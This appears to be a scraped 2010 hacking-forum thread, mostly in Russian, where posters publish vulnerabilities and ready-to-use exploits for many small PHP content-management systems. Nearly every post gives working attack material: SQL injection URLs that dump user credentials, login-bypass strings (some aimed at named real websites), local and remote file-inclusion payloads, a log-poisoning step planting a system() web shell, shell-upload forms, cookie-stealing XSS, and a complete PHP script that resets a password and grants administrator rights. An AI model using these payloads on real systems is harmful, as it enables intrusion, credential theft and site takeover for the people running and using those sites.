/index.php?n=modules/forum&a=3&d=1&o=1&q=-1'+union+select+1,2,3,4,concat_ws(0x3a,username,pa ssword),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,2 1,22,23+from+users+where+id=1+--+
№4
/index.php?n=modules/forum&a=5&d=1&o=1&q=1&p=0&k=-1'+union+select+1,concat_ws(0x3a,username,password )+from+users+where+id=1+--+
№5
/index.php?n=modules/pm&a=3&d=-1'+union+select+1,2,3,4,5,concat_ws(0x3a,username, password),7,8,9,10,11,12,13,14,15,16,17,18,19,20+f rom+users+where+id=1+--+&s=r_date&t=DESC&p=1
...
Product: Acute Control Panel
Version: 1.1.1
Author: http://acutecp.rediscussed.com/
Автор выложил на опенсурсецмс.орг, наткнулся, и посмотрел :)
SQL-Inj
Need: mq = off
File: acute-cp/login.php
$username = strtolower($_POST['username']);
$password = strtolower($_POST['password']);
if (!empty($username) || !empty($password)){
$query = mysql_query("SELECT id,username,password,email,fullname,permissions FROM `users` WHERE username='$username' AND password='$password'", $conn) or die(mysql_error());
$row = mysql_fetch_array($query);
....
if(mysql_numrows($query)== 1){
$_SESSION['username']=$row['username'];
$_SESSION['email']=$row['email'];
$_SESSION['fullname']=$row['fullname'];
$_SESSION['permissions']=$row['permissions'];
Target: {POST} ?login=-1'+union+select+1,2,3,4,5,6+--+&password=1[/COLOR
or ByPass:{POST} ?login=-22' or 1=1+--+&password=1
После установки сессий, есть возможность проводить инъекции практически во все файлы.Например можно сделать локальный инклуд:
File: acute-cp/options.php
$so_theme = $_POST['so_theme'];
....
$so_edit_settings = $_POST['Update'];
if(isset($so_edit_settings)){
$result = mysql_query("UPDATE `settings` SET `website_option`='$so_theme' WHERE website_setting='theme'")or die(mysql_error());
...
File: web_settings.php
$result = mysql_query("SELECT `website_option` FROM `settings` WHERE website_setting='theme'",$conn) or die(mysql_error());
$theme_name_result = mysql_fetch_row($result);
$theme_name = $theme_name_result['0'];
//$theme_directory = "themes/".$theme_name; //old code that was exploited
If(strpos($_SERVER['SCRIPT_FILENAME'],"acute-cp")){ //is in sub folder, such as admin
define("theme_directory","../themes/".$theme_name);
}else{
define("theme_directory","themes/".$theme_name);
}
File: index.php
<?php include_once("web_settings.php"); ?>
<?php include_once(theme_directory."/header.php"); ?>
Target: {POST} [COLOR=YellowGreen]acute-cp/options.php?so_theme=../../../../../../../etc/passwd%00
Enter: http://target/index.php
Pashkela
25.03.2010, 20:43
STACK
System for Teaching and Assessment using a Computer algebra Kernel
The STACK system is a computer aided assessment package for mathematics.
LFI example:
http://vesna.fmf.uni-lj.si/stack/documentation.php?action=/../../../../../../../etc/passwd%00&expand=13
HOME PAGE:
http://sourceforge.net/projects/stack/
Vulnerable: Stack 1.1
Strilo4ka
25.03.2010, 23:33
Продукт ChakraWeb!
Скачал отсюдо (http://www.softpedia.com/progDownload/ChakraWeb-Download-23437.html)ChakraWeb is open source CMS (Content Management System) that suitable to create small professional websites and optimize affiliate revenue.
SQL inj
mg не имеет значения!
/phpmod/news.php
Для рядового польз.:
...case 'detail':
NewsShowDetail();
break;...
...function NewsShowDetail()
{
$news_id = RequestGetValue('id', 0);
$sql = "select news_title, news_desc, news_content from news where news_id=$news_id";
$rs = DbExecute($sql);
if ($rs && !$rs->EOF)...
/_files/library/fun_utils.php
...
function RequestGetValue($var_name, $default=false, $clean=CLEAN_NO)
{
global $PhpMagicQuote;
if (isset($_REQUEST[$var_name]))
{
$out = $_REQUEST[$var_name];
if (is_string($out))
{
if ($PhpMagicQuote)
$out = stripslashes($out);
$out = trim($out);
}
if ($clean == CLEAN_SAVE)
$out = HtmlClean($out);
else if ($clean == CLEAN_ALL)
$out = HtmlCleanAll($out);
}
else
$out = $default;
return $out;
}...
Result:
http://chakra/phpmod/news.php?op=detail&id=1[SQL]&cat=3
http://chakra/phpmod/news.php?op=detail&id=-1+union+select+concat_ws%280x3a,m_name,m_password% 29,2,3+from+sysmember+limit+1,1--+&cat=3
/files/library/fun_web.php function InitSystemVars()
...
$gFolderId = RequestGetValue('cat', 0);
if ($gFolderId == 0)...
function NewsShowPage... $gPageId = 0;
DBGetFolderData($gFolderId);
$gWebPage['page_sidebar'] = RenderPageSidebar().../_files/library/fun_web.php
...function DBGetFolderData($folder_id)
{
global $gCurrentUrlPath;
global $gFolder;
global $db;
global $gReadLevel, $gWriteLevel;
if ($folder_id >= 0)
{
$sql = "select folder_lid, folder_id, folder_name, folder_label, folder_title, folder_desc, folder_keywords,
folder_robots, folder_sidebar, folder_parent, folder_show, folder_active, folder_order,
read_level, write_level, upload_by, upload_on, update_on
from web_folder where folder_id=$folder_id and folder_lid=".$db->qstr(UserGetLID());
$rs = DbExecute($sql);
if ($rs === false) DbFatalError("DBGetFolderData");
if (!$rs->EOF)
{...
/_files/library/fun_dbutils.php
...function DbFatalError($section, $msg='')
{
global $db;
if (!empty($msg))
$msg .= '. ';
$msg .= $db->ErrorMsg();
DbLogWrite($section, '.MSG:', $msg);
SystemFatalError($section, $msg);
}...
/_files/library/cls_dbase.php
...
function ErrorMsg()
{
return 'DBError('.@mysql_errno().'): '.@mysql_error();
}...
/_files/library/fun_systems.php
...function SystemFatalError($section, $msg)
{
SetDynamicContent();
$out = '<html><head><title>Fatal System Error</title>';
$out .= '</head><body>';
$out .= '<hr noshade size=2>';
$out .= 'Fatal System Error On <b>'.$section.':</b><br> '.$msg;
$out .= '<hr noshade size=2>';
$out .= 'Sorry for this unconvenience. Please report to the webmaster of this homepage.';
$out .= '</body></html>';
echo $out;
die();
}...Result:
http://chakra/phpmod/news.php?op=detail&id=1&cat=3[SQL]
http://chakra/phpmod/news.php?op=detail&id=1&cat=3+and+%281,2%29=%28select+*+from%28select+name _const%28version%28%29,1%29,name_const%28version%2 8%29,1%29%29a%29--
XSS
/phpmod/search.php
...
$q = RequestGetValue('q', '');
$p = RequestGetValue('p', 1);
$title = "<h1>"._HPAGE_SEARCH_TITLE."</h1>\n";
$content = "<p>".sprintf(_HPAGE_SEARCH_MESSAGE, $q)."</p>\n";...
Result:
http://chakra/phpmod/search.php?q=[XSS]
http://chakra/phpmod/search.php?q=%3Cscript%3Ealert%28123%29%3C%2Fscrip t%3E
SQL inj
/phpmod/link.php
$op приним. (ряд. пользователь)
...case 'show':
LinkInitVars();
LinkFormShow('add', false);
break;...
Функция RequestGetValue описана выше!
function LinkInitVars()
{
global $gWebPage;
global $gPageId;
global $gFolder, $gFolderId;
$gWebPage['from'] = '';
$gWebPage['fld_id'] = 0;
$gWebPage['fld_url'] = '';
$gWebPage['fld_title'] = '';
$gWebPage['fld_desc'] = '';
$gWebPage['fld_note'] = '';
$gPageId = RequestGetValue('id', 0);
}
...function LinkFormShow($op, $dbinit, $errmsg='')
{
global $gFolder, $gFolderId;
global $gRequestPath, $gCurrentUrlPath, $gRequestFile;
global $gWebPage;
global $gHomePageHeader, $gHomePageFooter;
global $gBaseLocalPath;
global $gHomePageUrl, $gPageNavigation;
$from = RequestGetValue('from');
if (!empty($from))
{
$gCurrentPageNavigation = '';
$gPageNavigation = array();
$gPageNavigation[] = array($gHomePageUrl.$gBaseUrlPath."/index.html", _NAV_FRONTPAGE);
$gPageNavigation[] = array($gHomePageUrl."/phpmod/cpanel.php", _NAV_CONTROL_PANEL);
$gPageNavigation[] = array($gHomePageUrl."/phpmod/todo.php", _NAV_TODO_LIST);
$gPageNavigation[] = array($gHomePageUrl."/phpmod/todo.php?op=link", _NAV_TODO_LINK);
$gWebPage['from'] = $from;
}
else
{
DBGetFolderData($gFolderId);
$gRequestPath = FindPathFromFolderId($gFolderId);
$gCurrentUrlPath = $gBaseUrlPath.$gRequestPath;
$gRequestFile = 'index.html';
$gWebPage['from'] = '';
}
...
Принтабельное поле, где именно код впадло искать ! :)
Result:
http://chakra/phpmod/link.php?op=show&cat=4[SQL]
http://chakra/phpmod/link.php?op=show&cat=4+and+0+union+select+1,2,3,4,5,6,7,8,concat_ws %280x3a,database%28%29,user%28%29,version%28%29%29 ,10,11,12,13,14,15,16,17,18--+
Strilo4ka
26.03.2010, 06:12
Продукт Micro CMS 3.5
скачать (http://www.download3000.com/download-micro-cms-count-reg-36000.html)
Micro CMS is the only program available that combines a search-engine-friendly WYSIWYG with a simple, AJAX-based content management system, making the management of your static web site incredibly easy and fast.
SQL inj
/microcms-admin-login.php
...if ($i == 0) {
$sql = '
SELECT *
FROM microcms_administrators
WHERE administrators_username = "' . $_POST['administrators_username'] . '" and
administrators_pass = PASSWORD("' . $_POST['administrators_pass'] . '")';
$user_result = mysql_query($sql);...
Класика жанра!
POST запрос:
action - "microcms-admin-login.php"
текстовое поле - "administrators_username",
поле для ввода пасса - "administrators_pass",
скрытое [ name="action" type="hidden" value="admin_login" ]
Result:
поле administrators_username = admin
поле administrators_pass = 123") or 1=1 Или в первое поле - странная ошибка!
Мы внутри! ;-)
SQL inj
/micro_cms_files/cms/revert-content.php - 3 поле принтаб
...if ($_GET['type'] == 'newer') {
$result = mysql_query('
SELECT *
FROM microcms_content_blurb_history
WHERE content_blurbs_variable = "' . $_GET['id'] . '" and
content_blurb_history_version_num = "' . $_GET['version'] . '"
ORDER BY content_blurb_history_version_num ASC
LIMIT 1');
} elseif ($_GET['type'] == 'older') {...
Result:
http://microcms/micro_cms_files/cms/revert-content.php?id=test_content[SQL]&type=newest
ы_ы, нашы админы!
http://microcms/micro_cms_files/cms/revert-content.php?id=test_content%22+union+select+1,2,gr oup_concat(concat_ws(0x3a,administrators_username, administrators_pass)%20separator%200x40),4,5+from+ microcms_administrators--+&type=newest
Забыл :
условия - mg=off
Реальные примеры:
http://www.zeturija.lt/microcms-admin-home.php
admin" or "admin"="admin" /*
пасс любой
http://www.bistroboheme.se/microcms-admin-home.php
admin" or "admin"="admin" /*
пасс любой
Product: ArtiPHP
Version: 5.0.0 Neo
Author: http://www.artiphp.com/
Blind SQL-Injection.
Need: mq=off.
File: artpublic/utilisateurs/modif_inscription.php
$prenom = htmlspecialchars($prenom);
$nom = htmlspecialchars($nom);
$login = htmlspecialchars($login);
$login2 = htmlspecialchars($_POST['login2']);
$site = htmlspecialchars($site);
$url = htmlspecialchars($url);
$ville = htmlspecialchars($ville);
$metier = htmlspecialchars($metier);
$pass = htmlspecialchars($pass);
$pass2 = htmlspecialchars($pass2);
....
if ($pass && $pass2) {
// ***** MODIF jimro ***** Ajout $passMD5 et modif requкte - 28/10/2005
$passMD5 = md5($pass);
$requete = "UPDATE " . ARTI_PREFIX_TB . "utilisateurs SET prenomUtilisateur='$prenom', nomUtilisateur='$nom', passUtilisateur=password('$pass'), passUtilisateurMD5='$passMD5', loginUtilisateur='$login2', siteUtilisateur='$site', urlUtilisateur='$url', villeUtilisateur='$ville', metierUtilisateur='$metier' WHERE id_utilisateur='$SESSION_ID'";
...
Target:
Expl0it:
<?php
/**
* @author m0hze
* @copyright 2010
* @{http://forum.antichat.net}
* @ Yeeeees, baby!
*/
$host = 'target.com'; // URl target host example.com, don't use / (slash))!
$path = '/'; // Path to target folder
$login = 'YouLogin'; // Enter you login
$password = 'Password?'; // Enter you password
$newpass = 'NewPassword :)'; // This is you new password, for you account
$groupid = 1; // You new GROUPID, 1 = administrator.
function auth($login, $password) // Function auth on site, and get cookie
{
global $host, $path, $authscript;
$newpath = $path . 'artpublic/includes/verif_user.php';
$data = 'login=' . $login . '&pass=' . $password;
$fp = fsockopen($host, 80);
fputs($fp, "POST $newpath HTTP/1.1\r\n");
fputs($fp, "Host: $host\r\n");
fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");
fputs($fp, "Content-length: " . strlen($data) . "\r\n");
fputs($fp, "Connection: close\r\n\r\n");
fputs($fp, $data);
while (!feof($fp)) {
$result .= fgets($fp, 128);
}
if (stripos($result, "index.php")) {
preg_match('#Set-Cookie:(.*);#iU', $result, $match);
//list($name,$value) = explode('=',$match[1]);
echo ("Authorisation: COMPLETE!...");
return (trim($match[1]) . ';');
} else {
die("Authorisation: FAILED!");
}
}
function exploit($cookie) // Function exploit, change you group, password.
{
global $host, $path, $authscript, $newpass, $groupid, $login;
$newpath = $path . 'artpublic/utilisateurs/modif_inscription.php';
$data = "prenom=HelloByExploit&nom=HelloByExploit&login2=$login',id_ugroup='".$groupid."',passUtilisateur=PASSWORD('" .
$newpass . "'),passUtilisateurMD5='" . md5($newpass) .
"'+where+loginUtilisateur='" . $login . "'+--+&login=$login&pass=1234&pass2=1234";
$fp = fsockopen($host, 80);
fputs($fp, "POST $newpath HTTP/1.1\r\n");
fputs($fp, "Host: $host\r\n");
fputs($fp, "Referer: $referer\r\n");
fputs($fp, "Cookie: $cookie\r\n");
fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");
fputs($fp, "Content-length: " . strlen($data) . "\r\n");
fputs($fp, "Connection: close\r\n\r\n");
fputs($fp, $data);
echo '<br>Login: ' . $login;
echo '<br>Password: ' . $newpass;
}
exploit(auth($login, $password));
?>
Strilo4ka
26.03.2010, 18:31
Продукт SiMan CMS 1.5
скачать тут (http://siman.org.ua/index.php?m=content&d=view&cid=7)
SQL inj
index.php
...
$_getvars=$_GET;
$_postvars=$_POST;
$_cookievars=$_COOKIE;
$_servervars=$_SERVER;
$_uplfilevars=$_FILES;
...
...$module=$_getvars["m"];
$mode=$_getvars["d"];
$special['sql']['count']=0;
if (count($_getvars)==0)
$special['is_index_page']=1;
if (empty($module) || strpos($module, ':') || strpos($module, '.') || strpos($module, '/') || strpos($module, '\\'))...
...if ($module<>'404') include('modules/'.$module.'.php');...
/modules/account.php
...$modules[$modules_index]["module"]='account';
$modules[$modules_index]["title"]=$lang["register"];
$login=$_postvars["p_login"];
$password=$_postvars["p_password"];
$password2=$_postvars["p_password2"];......sql="SELECT * FROM ".$tableusersprefix."users WHERE login = '$login'";
$result=database_db_query($nameDB, $sql, $lnkDB);
$u=0;
while ($row=database_fetch_object($result))
{
if (strcmp($row->login, $login)==0)
{
$u=1;
}
}
if ($u!=1)
{
include('ext/register.php');
}
if ($u==1)...Условие:
mg=off
durability and result:
action="index.php?m=account&d=login" , метод post
поле login_d [SQL]
поле passwd_d
Тулим:
login_d = admin' or 1=1/*
разные вариации /*, -- # ... , просто есть beta версия CMS :)
Мы внутри!
Реальный пример:
http://my-tut.org.ua/index.php?m=account&d=login
login_d admin' or 1=1 --
passwd_d безразницы!
Product: JaF CMS
Version: 4.0
Author: http://jaf-cms.sourceforge.net/
Remote File Inclusion
Need: register_globals = on;
File: /module/forum/main.php
if(isset($category) || isset($id)) { include($website.$main_dir."forum.php"); return;}
if(!isset($csv_include))require($website.$main_dir ."inc/csvfile.php");
if(!isset($fd))require($website.$main_dir."inc/functions.php");
...
Target: http://targethost.com/module/forum/main.php?category=1&id=1&website=http://google.com%00
and:
File: /module/forum/forum.php
if(!isset($csv_include))require($website.$main_dir ."inc/csvfile.php");
if(!isset($fd))require($website.$main_dir."inc/functions.php"); ?>
....
If, allow_url_include = off, use this:
Code Exec
File: online.php
if(getenv("HTTP_CLIENT_IP")) {
$ip = getenv("HTTP_CLIENT_IP");
} elseif(getenv("HTTP_X_FORWARDED_FOR")) {
echo 'f';
$ip = getenv("HTTP_X_FORWARDED_FOR");
} else {
$ip = getenv("REMOTE_ADDR");
}
...
$user_write = fopen("$log_file", "w");
fputs($user_write , $to_write );
fclose($user_write );
First step, enter you browser this url:
http://targethost.com/online.php, and send this headers:
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip,deflate
X-Forwarded-For: <?php system($_GET[sec]); ?>
Ok, next step - include log-file.
Target: http://targethost.com/module/forum/main.php?category=1&id=1&website=../files/visitors%00&sec=dir
Strilo4ka
27.03.2010, 19:49
Чесно скажу >стыдно постить< - каменный век, но все же:
Продукт netious-cms-serv-0.4
Сайт : http://www.netious.com/
SQL inj
/[путь админки указ. при установке далее -1-]/index.php
...$result=mysql_query("SELECT AdminId FROM mycmsadmin WHERE username='$username' and password='".sha1($password)."'");
$row=mysql_fetch_row($result);
$num_rows = mysql_num_rows($result);...
Result:
username admin' or 1=1--
пасс любой!
Внутри :)
SQL inj
/index.php
...$saction="deny";
if ($sresult=mysql_query("SELECT Secured FROM pages WHERE PageId='$pageid'"))
{$srow=mysql_fetch_row($sresult);...
Result:
http://netious/index.php?pageid=1[SQL]http://netious/index.php?pageid=1'+and+0+union+select+1,version() ,3--+Условия:
register_globals=on
magic_quotes=off
XSS + SQL inj
[-1-]/addtomenuResponse.php
...mysql_query("INSERT into pages VALUES ('','$refid','$name','$thisdescription','$thiskeyw ords','$alias','0','$pagetype','','$pagesecured')")
or die("Something went wrong: <br />".mysql_error());...include.php...function commonheader($pageid,$title,$keywords,$description ,$forcedid)
{
if ($pageid!="-1" && $pageid!="contact")
{
$result=mysql_query("SELECT Name, Keywords, Description FROM pages WHERE PageId='$pageid'");
$row=mysql_fetch_row($result);
$name=$row[0];
$thiskeywords=$row[1];
$thisdescription=$row[2];
if ($forcedid=="no") {$title="$name :: $title";}...
echo "
<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\"
\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">
<html xmlns=\"http://www.w3.org/1999/xhtml\">
<head>
<title>$title</title>...Дырявый как # :)
Product: VarioCMS
Version: 0.5.6
Author:: http://sourceforge.net/projects/variocms/
SQL-Inj
Need: mq=off;
File: /plugins/system/slideshow/upload.php
if (isset($_GET['album_id'])) {
$album_id = $_GET['album_id'];
}
....
$sql_insert = "INSERT INTO " . $db_plugin_prefix . "slideshow (album, albumid, image, thumbnail, position) VALUES ('$album', '$album_id', '$image', '0', '$position')";
fputs($logfile, "$sql_insert\n");
Target: http://localhost/bugs/VarioCMS/plugins/system/slideshow/upload.php?album=1&album_id=1'{SQL}.
Columns: 7
Upload Shell
Need: none.
File: /plugins/system/slideshow/upload.php
if (isset($_GET['album_id'])) {
$album_id = $_GET['album_id'];
}
..
foreach ($_FILES as $file => $fileArray) {
echo("File key: $file\n");
foreach ($fileArray as $item=>$val) {
}
//Let's manipulate the received file: in this demo, we just want to remove it!
$new_dir = $slideshow_path . $album_id;
if (file_exists($new_dir) == false) {
mkdir ($new_dir);
mkdir ($new_dir . "/fullsize");
mkdir ($new_dir . "/slideshow");
mkdir ($new_dir . "/thumbnails");
}
$upload_dir = $slideshow_path . $album_id . "/";
$position = 65000;
if (move_uploaded_file($fileArray['tmp_name'], $upload_dir . uml2nouml($fileArray['name']))) {
Target:
Expl0it ^_^:
<form enctype="multipart/form-data" action="http://targethost.com/plugins/system/slideshow/upload.php?album=1" method="get" >
<input type="file" name="Filedata" /><input type="submit" />
<input type="text" name="album_id" value="../../"/>
</form>
album_id = folder to upload shell.
Product: PithCMS
Version: 0.9.5
Author: http://sourceforge.net/projects/pithcms/
Local File Inclusion
File: newsreader.php
Need: rg=on;
include ("admin/lang/$lang");
include ("_read_config.inc.php");
include_once ("inc/cleaner.inc.php");
Target: http://targethost.com/newsreader.php?lang=../../../../../../etc/passwd
File: admin/blog.php
Need:logged on target site!
session_start();
if (!isset($_SESSION['user'])) {
echo "<h2>ACCESS DENIED AND LOGGED</h2>";
exit;
}
...
f (isset($_POST['filename'])) {
//include ("$rootdir/articles/".$_POST['filename']);
include ("../news/".$_POST['filename']);
}else{
...
Target: {POST} http://targethost.com/admin/blog.php?filename=../../../../../../../../../etc/passwd
Remove arbitrary file
File: admin/download_remove.php
Need: logged on target site!
if (isset($_POST['file']) && ($_POST['file'] != "lista.php") && ($_POST['file'] != "index.php") && ($_POST['file'] != "")) {
$file = trim($_POST['file']);
$object = ("../downloads/$file");
Target: {POST} http://targethost.com/admin/download_remove.php?file=../indeX.php
MusicBox v3.3
SQL Injection:
/blogs.php?action=edit&newsid=-1+union+select+concat_ws(0x3a,user(),database(),ve rsion())+--+
/genre_artists.php?id=-1+union+select+1,2,concat_ws(0x3a,user(),database( ),version()),4,5,6,7+--+
Пассивная XSS:
/index.php?in=artist&term=%22%3E%3Csсriрt%3Ealert(document.cookie);%3 C/sсriрt%3EE&action=search&start=0&x=0&y=0
/index.php?action=top&show=5&type=Artists+order+by+1+--+%22%3E%3Csсriрt%3Ealert(document.cookie);%3C/sсriрt%3E
Активная XSS:
/member.php?uname=кому будем посылать XSS, в комменты <sсriрt>alert(document.cookie);</sсriрt>
По идеи почти каждый параметр уязвим.
/phpinfo.php ;)
.:[melkiy]:.
05.04.2010, 18:02
Product: pepsi 0.6
download: http://sourceforge.net/projects/pepsicms/
Remote File Inclusion
file:index.php
//very sweet
include "includes/template-loader.php";
file:includes/template-loader.php
//include( 'classes/theme_engine/engine.php' );
include( $_Root_Path . 'classes/Smarty.class.php' );
result:
if allow_url_include On
/index.php?_Root_Path=http://ya.ru/%00
or
/index.php?_Root_Path=[file]%00
Strilo4ka
06.04.2010, 04:59
http://www.kcms.cz/
K:CMS v.2.1.1
LFI, плохо что в админке!
/admin.php...if (isset($_GET["function"])) {
include "components/pages_admin/".$_GET["function"].".php";...Result:
http://kcms/admin.php?function=options[lfi]
Example:
http://kcms/admin.php?function=options/../../../robots.txt
Strilo4ka
06.04.2010, 06:46
Бред, но напишу):
http://aphpkb.org/
Andy's PHP Knowledgebase v0.94.6 © Andy Grayndler 2010
XSS
/textarea.php
<?php //textarea.php -- default textarea
echo '<textarea name="' . $textareaname . '" style="width:95%; height:300px">' .
$textareacontent . '</textarea>';
?>Условие:
rg=on
Результат:
http://site/textarea.php?textareacontent=</textarea>[xss]
http://localhost/know/textarea.php?textareacontent=</textarea><script>alert(123)</script>
И куча других скриптов. Не буду бред постить!
SQL inj
/a_authord.php - даные о пользователях!
...include('./functions.php');
require_once ('./config/auth.php');
require ('./config/config.php');
include"./config/dbsettings.php";
$num = $_GET[aid];
$query = "SELECT CONCAT(FirstName, ' ', LastName) AS name, UserName, Email, DATE_FORMAT(RegistrationDate, '%M %d, %Y') AS dr FROM authors WHERE AuthorID='{$num}'";...
Уловия:
- админка;
- mg=off.
Резльутат:
http://site/a_authord.php?aid=1[sql]
http://site/a_authord.php?aid=1%27+union+select+1,version%28%2 9,3,4--+
[x60]unu
07.04.2010, 15:15
BlogME
Product : BlogME 1.1
SQL injection
file : index.php
mq = off
http://x60unu/index.php?month=4&year=2007'+and+0+union+all+select+version(),versio n(),3,4,5,6,7,8--+
http://x60unu/index.php?cat=General'+and+0+union+all+select+1,2, 3,4,5,6,7,8--+
http://x60unu/index.php?when=March%206,%202007'+and+0+union+all+ select+1,2,3,4,5,6,7,8--+
SQL in Admin Panel
file : blogroll.php
case 'edit' :
$sqledit= "SELECT * FROM ". $prefix ."_blogroll WHERE id=$id";
$resultedit = db_query($dbname,$sqledit);
$editvalues = mysql_fetch_array($resultedit);
result :
http://x60unu/blogroll.php?mode=edit&id=1+and+0+union+all+select+1,2,3--+
blind sql
$sqldelete= "DELETE FROM ". $prefix ."_blogroll where id=$id";
$resultdelete = db_query($dbname,$sqldelete);
result :
http://x60unu/blogroll.php?mode=delete&id=1[blind sql]
file : category.php
$sqledit= "SELECT * FROM ". $prefix ."_cat WHERE id=$id";
$resultedit = db_query($dbname,$sqledit);
$editvalues = mysql_fetch_array($resultedit);
result:
http://x60unu/category.php?mode=edit&id=1+and+0+union+all+select+1,2--+
blind sql
sqldelete= "DELETE FROM ". $prefix ."_cat where id=$id";
$resultdelete = db_query($dbname,$sqldelete)
result :
http://x60unu/category.php?mode=delete&id=1[blind sql]
file : links.php
$sqledit= "SELECT * FROM ". $prefix ."_links WHERE id=$id";
$resultedit = db_query($dbname,$sqledit);
$editvalues = mysql_fetch_array($resultedit);
result :
http://x60unu/links.php?mode=edit&id=1+and+0+union+all+select+1,2,3--+
blind sql
$sqldelete= "DELETE FROM ". $prefix ."_links where id=$id";
$resultdelete = db_query($dbname,$sqldelete);
http://x60unu/links.php?mode=delete&id=1[blind sql]
Active Xss
comments --- text comments --- "><script>alert();</script>
з.ы. двиг сплошная дыра :(
Root-access
08.04.2010, 13:42
Продукт:: AEF (форумный движок)
Сайт:: http://www.anelectron.com
Дорк:: "Powered by AEF" (250 000 результатов)
Уязвимость:: Активная XSS.
Уязвимость присутствует из-за небезопасной обработки BB-тегов.
Можно вызвать разрушение тегов, и, как следствие, выполнение javascript-кода.
Пример эксплуатации:
[*url]http://asd.asd[*email]asd@asd.asd onmouseover=alert() bla=[*/email][*/url]
На выходе получаем:
<a href="http://asd.asd<a href="mailto:asd@asd.asd onmouseover=alert() bla=" target="_blank">asd@asd.asd onmouseover=alert() bla=</a>" target="_blank">http://asd.asd<a href="mailto:asd@asd.asd onmouseover=alert() bla=" target="_blank">asd@asd.asd onmouseover=alert() bla=</a></a>
Можно также провести атаку через стили (для ie и ff), тогда можно спрятать куски разрушенного тега:
[*url]http://asd.asd[*email]asd@asd.asd style=display:none;olo:expression(alert());-moz-binding:url() bla=[*/email][*/url]
Root-access
08.04.2010, 14:28
Продукт:: Beehive (форумный движок)
Сайт:: http://beehiveforum.sourceforge.net/
Дорк:: "Project Beehive Forum" (?)
Уязвимость:: Активная XSS.
Уязвимость существует из-за недостаточной фильтрации слова javascript в сообщении.
Строчка из /include/fixhtml.php (скрипт "безопасной" обработки html):
$attrib_value = preg_replace("/javascript:/ixu", '', $attrib_value);
В движке разрешён html, а это ограничение обходится простым кодированием html (протокол от этого валидность не теряет):
<img src="javascript:alert()" />
Root-access
08.04.2010, 15:16
Продукт:: CompactCMS
Сайт:: http://www.compactcms.nl
Дорк:: "Maintained with CompactCMS"
//тут была глупая ошибка, Strilo4ka заметил...
Уязвимость:: Исполнение произвольного кода.
Требования: права админа (админка по умолчанию не запаролена - /admin)
Жмём Create a new page, создаём страничку с php-кодом, затем она инклудится, и мы имеем шелл.
[x60]unu
08.04.2010, 23:01
AneCMS
Product : Demo AneCMS v1
Blind SQL injection
http://demo.anecms.com/blog/delete/1/1/**/and/**/1=(SELECT/**/*/**/FROM(SELECT/**/*/**/FROM(SELECT/**/NAME_CONST((version()),14)d)/**/as/**/t/**/JOIN/**/(SELECT/**/NAME_CONST((version()),14)e)b)a)/
Active XSS
comments blog news - "><script>alert();</script>
http://anecms.com/blog/5/Template_Engine_and_cleaning_time
LFI
rss.php
if(isset($_GET['module']))
include './modules/'.$_GET['module'].'/rss.php';
http://x60unu/rss.php?module=../[file]%00
Admin panel
include './pages/'.$_GET.'.php';
http://demo.anecms.com/acp/?p=lfi
http://x60unu/acp/index.php?p=../../[file]%00
Путь
http://demo.anecms.com/register/next
Дыр тут много :(
Strilo4ka
09.04.2010, 07:00
phpwcms v1.4.5
release 2010
Скачано отсюдо (http://www.phpwcms.de/)!
XSS + HPP
/image_zoom.php..if(empty($_GET["show"])) {
$width_height = '';
$img = "img/leer.gif";
} else {
$img = base64_decode($_GET["show"]);
list($img, $width_height) = explode('?', $img);
$img = str_replace(array('http://', 'https://', 'ftp://'), '', $img);
$img = strip_tags($img);
$width_height = strip_tags($width_height);
$img = PHPWCMS_IMAGES.urlencode($img);......<a href="#" title="Close PopUp" onclick="window.close();return false;"><img src="<?php echo $img ?>" alt="" border="0" <?php echo $width_height ?> /></a>...Result:
1) формируем код, example: адрес_рисунка?onmouseover=alert(1)
2) переводим в base64 - MDRANUFfQDhBQz06MD9vbm1vdXNlb3Zlcj1hbGVydCgxKQ==
3) тулим эту строку гетом в show.
ps админка - /login.php
По умолчанию:
логин - admin;
пасс - phpwcms (md5).
Strilo4ka
10.04.2010, 22:26
AneCMS
Продолжение поста [x60]unu.
RFI
ajax.php!
<?php
include './system/pages/essential.php';
if(isset($_POST['p']))
include $_POST['p'];
?>Условие:
allow_url_include = On
Експлуатация:
<form method="POST" action="http://localhost/anecms/ajax.php">
<input type="text" name="p" />
<input type="submit" /></form>
Iceangel_
11.04.2010, 12:38
WebsiteBaker 2.8.1
Sql-injection(требования register_globals=on)
if(isset($_GET['page_id']) AND is_numeric($_GET['page_id'])) {
$page_id = $_GET['page_id'];
} else {
header('Location: /');
exit(0);
}
if(isset($_GET['group_id']) AND is_numeric($_GET['group_id'])) {
$group_id = $_GET['group_id'];
define('GROUP_ID', $group_id);
}
/*--*/
if(isset($group_id)) {
$query = "SELECT * FROM ".TABLE_PREFIX."mod_news_posts WHERE group_id=".$group_id." AND page_id = ".$page_id." AND active=1 AND ".$time_check_str." ORDER BY posted_when DESC";
} else {
эксплуатация:
/modules/news/rss.php?page_id=2&group_id=1+union+select+1,2,3,4,5,6,7,8,9,10,11,12 ,13,14,15--+
Способов залиться несколько:
1)В админке аплоадим зип архив с шеллом, распаковываем средствами админ-панели.
2)аплоадим какой-нибудь shell.php.xs(если apache в качестве вебсервера)
Strilo4ka
11.04.2010, 14:28
Rat CMS
SQL ing
login.php
...$userId = $_POST['txtUserId'];
$password = $_POST['txtPassword'];
// check if the user id and password combination exist in database
$sql = "SELECT user_id
FROM tbl_auth_user
WHERE user_id = '$userId' AND user_password = PASSWORD('$password')";
$result = mysql_query($sql) or die('Query failed. ' . mysql_error());
if (mysql_num_rows($result) == 1) {
// the user id and password match,
// set the session
$_SESSION['db_is_logged_in'] = true;
// after login we move to the main page
header('Location: main.php');
exit;
} else {
$errorMessage = 'Sorry, wrong user id / password';
}...Result :
в поле txtUserId - ' union select 1--[ ]
Условие:
mg=off
Далее привожу только код других файлов:
viewarticle.php , viewarticle2.php...else {
// get the article info from database
$query = "SELECT title, content FROM news WHERE id=".$_GET['id'];
$result = mysql_query($query) or die('Error : ' . mysql_error());
$row = mysql_fetch_array($result, MYSQL_ASSOC); ...
Strilo4ka
12.04.2010, 11:00
basic cms
